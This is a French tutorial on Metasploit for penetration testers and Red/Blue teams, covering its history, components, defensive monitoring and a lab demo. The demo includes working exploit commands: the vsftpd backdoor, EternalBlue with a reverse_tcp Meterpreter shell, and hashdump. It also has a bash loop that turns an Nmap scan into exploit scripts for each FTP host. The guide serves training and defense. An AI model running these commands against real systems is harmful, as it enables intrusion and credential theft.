Tout pour pentesteurs et équipes Red/Blue. Tutoriels pratiques inclus.
Intro — pourquoi ce guide
Metasploit est devenu, en vingt ans, la boîte à outils standard du pentesteur. Ce guide, pensé comme un dossier magazine-tech orienté pratique, rassemble l’historique, l’architecture, des exemples de commandes réelles, une mini-démo pas-à-pas et un workflow d’automatisation Nmap → Metasploit. Objectif : donner aux équipes Red Team et Blue Team tout ce qu’il faut pour comprendre, utiliser et se défendre contre ces techniques — en lab d’abord, en production uniquement avec autorisation écrite.
Histoire condensée — genèse et évolution
Metasploit a été créé en 2003 par H.D. Moore pour centraliser exploits et payloads dans un framework modulaire. Initialement bricolé en Perl, il a rapidement été remanié en Ruby pour gagner en modularité. En 2009, Rapid7 a acquis le projet, permettant une industrialisation et la sortie d’une version commerciale (Metasploit Pro) tout en maintenant le Metasploit Framework open-source. Depuis, Metasploit a évolué : amélioration de Meterpreter, APIs, intégrations Nmap/Nessus, et une vaste communauté qui contribue des modules.
Pourquoi c’est important ? Parce que Metasploit a démocratisé l’accès aux techniques d’exploitation — utile pour la formation et les tests légitimes, mais aussi potentiellement dangereux entre de mauvaises mains. D’où la nécessité d’une éthique et d’autorisations strictes.
Architecture et composants clés (vue technique)
Metasploit n’est pas une application monolithique — c’est un écosystème :
msfconsole : la console interactive principale (interface texte) — la plus utilisée.
msfvenom : générateur/encodeur de payloads (exécutables, scripts, etc.).
Meterpreter : payload avancé, en mémoire, offrant navigation, exfiltration, pivot, etc.
Modules d’exploit : scripts ciblant une vulnérabilité précise avec options (RHOST, RPORT…).
Modules auxiliaires : scanners, brute-forcers, fuzzers, etc.
Post-exploitation : scripts d’escalade, persistence, collecte d’artefacts.
DB / Import : import Nmap/Nessus (XML/CSV) via
db_importpour lier découverte et exploitation.APIs : msfrpc/msfrpcd, API HTTP (selon version) pour automatisation.
Metasploit Pro : édition commerciale pour orchestration, rapports et intégrations SIEM.
Cas d’usage typiques
Pentest contractuel : valider qu’un correctif règle une faille.
Red Team : scénarios d’attaque réalistes en environnement contrôlé.
Recherche : PoC pour une vulnérabilité.
Formation / CTF : apprentissage pratique exploitation → post-exploitation.
Mini-démo pratique — prise en main (scénario lab)
Rappel légal : n’exécutez ces commandes que sur des machines que vous contrôlez ou pour lesquelles vous avez une autorisation explicite.
1) Lancer la console
msfconsole Invite : msf >
2) Rechercher un module
Supposons que vous ayez un FTP vulnérable :
search type:exploit name:ftp 3) Charger l’exploit (exemple historique)
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.50
set RPORT 21
set PAYLOAD cmd/unix/interact
exploit Si cible vulnérable → shell.
4) Exemple Meterpreter (Windows)
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.60
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
exploit
Sur succès, une session Meterpreter :
sessions -i 1
sysinfo
getuid
screenshot
hashdump Automatisation pratique : Nmap → Metasploit
Automatiser la reconnaissance puis l’exploitation est puissant — à manier prudemment.
Workflow résumé
Scanner avec Nmap (détection versions).
Export XML.
Importer le XML dans Metasploit (
db_import).Générer des scripts
.rc(resource) pour lancer des modules ciblés.Exécuter les
.rcou piloter via API.
Exemple : scan Nmap
nmap -sV -p- --open -T4 192.168.1.0/24 -oX /tmp/nmap_scan.xml Importer dans Metasploit
msfconsole
db_import /tmp/nmap_scan.xml
hosts
services
vulns
Génération automatique de .rc (bash)
Extraire cibles FTP (port 21) et créer un fichier resource pour chaque IP :
grep 'portid="21"' /tmp/nmap_scan.xml | sed -n 's/.*addr="\([^"]*\)".*/\1/p' | sort -u > /tmp/targets_ftp.txt
while read ip; do
cat > /tmp/exploit_vsftpd_${ip}.rc <<EOF
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS ${ip}
set RPORT 21
set PAYLOAD cmd/unix/interact
run -j
EOF
done < /tmp/targets_ftp.txt
Lancer :
msfconsole -r /tmp/exploit_vsftpd_192.168.1.50.rc Orchestration via API (concept)
Utiliser pymetasploit3 ou l’API HTTP pour importer, matcher et lancer exploits de façon programmée (ex : prioriser par CVSS ou par business-impact).
Bonnes pratiques d’automatisation & pièges à éviter
Autorisation écrite : indispensable.
Pertinence > volume : privilégier cibles à forte valeur.
Test en lab : reproduire avant tout run en prod.
Journalisation & sauvegarde : certains exploits plantent des services.
Mise à jour :
msfupdaterégulièrement.Limitation du bruit : automatisations agressives déclenchent IDS/IPS.
Éthique & reporting : documenter chaque action, produire preuves et recommandations.
Défense — que doivent surveiller les équipes Blue / SOC ?
Comprendre Metasploit aide la défense :
Détecter scans massifs et corréler entrées dans les IDS/IPS.
Signatures réseau et comportementales (ex. connexions reverse_tcp suspectes).
EDR : surveiller patterns Meterpreter (process injection, communication en mémoire).
Réduire la surface : fermer services non nécessaires, patcher, cloisonner, bastionner.
Honeypots : capturer scripts automatiques et en extraire IOCs.
Études de cas & exemples concrets (courts)
EternalBlue / WannaCry (2017) : exemple d’exploit rendu “grand public” et rapidement intégré dans Metasploit, démontrant comment un module peut faciliter la propagation.
Utilisation en pentest : import Nmap → identification d’un serveur FTP exposé → test d’exploit non destructif → rapport et patch.
Checklist pratique — avant de lancer un pipeline Nmap→Metasploit en prod (ou lab)
Contrat et périmètre signés ?
Backups/restores disponibles ?
Envoyer un avis aux équipes ops / SOC pour la fenêtre de test ?
Tests préliminaires en VM clonée ?
Mode de désengagement (rollback) établi ?
Ressources & outils complémentaires
Nmap : scan & fingerprinting.
Nessus / OpenVAS : scanner de vulnérabilités.
Burp Suite : tests applicatifs web.
EDR / SIEM : corrélation et détection post-compromise.
Metasploit Pro : orchestration, reporting, intégrations.
Conclusion — Metasploit aujourd’hui
Metasploit reste une pièce maîtresse du pentest et de la recherche en sécurité : historique riche, modularité, et capacité d’automatisation en font un outil indispensable. Pour la Red Team, il accélère les scénarios réalistes ; pour la Blue Team, il oblige à renforcer la surveillance et le patching. La clé : utiliser Metasploit avec rigueur, autorisation et responsabilité.



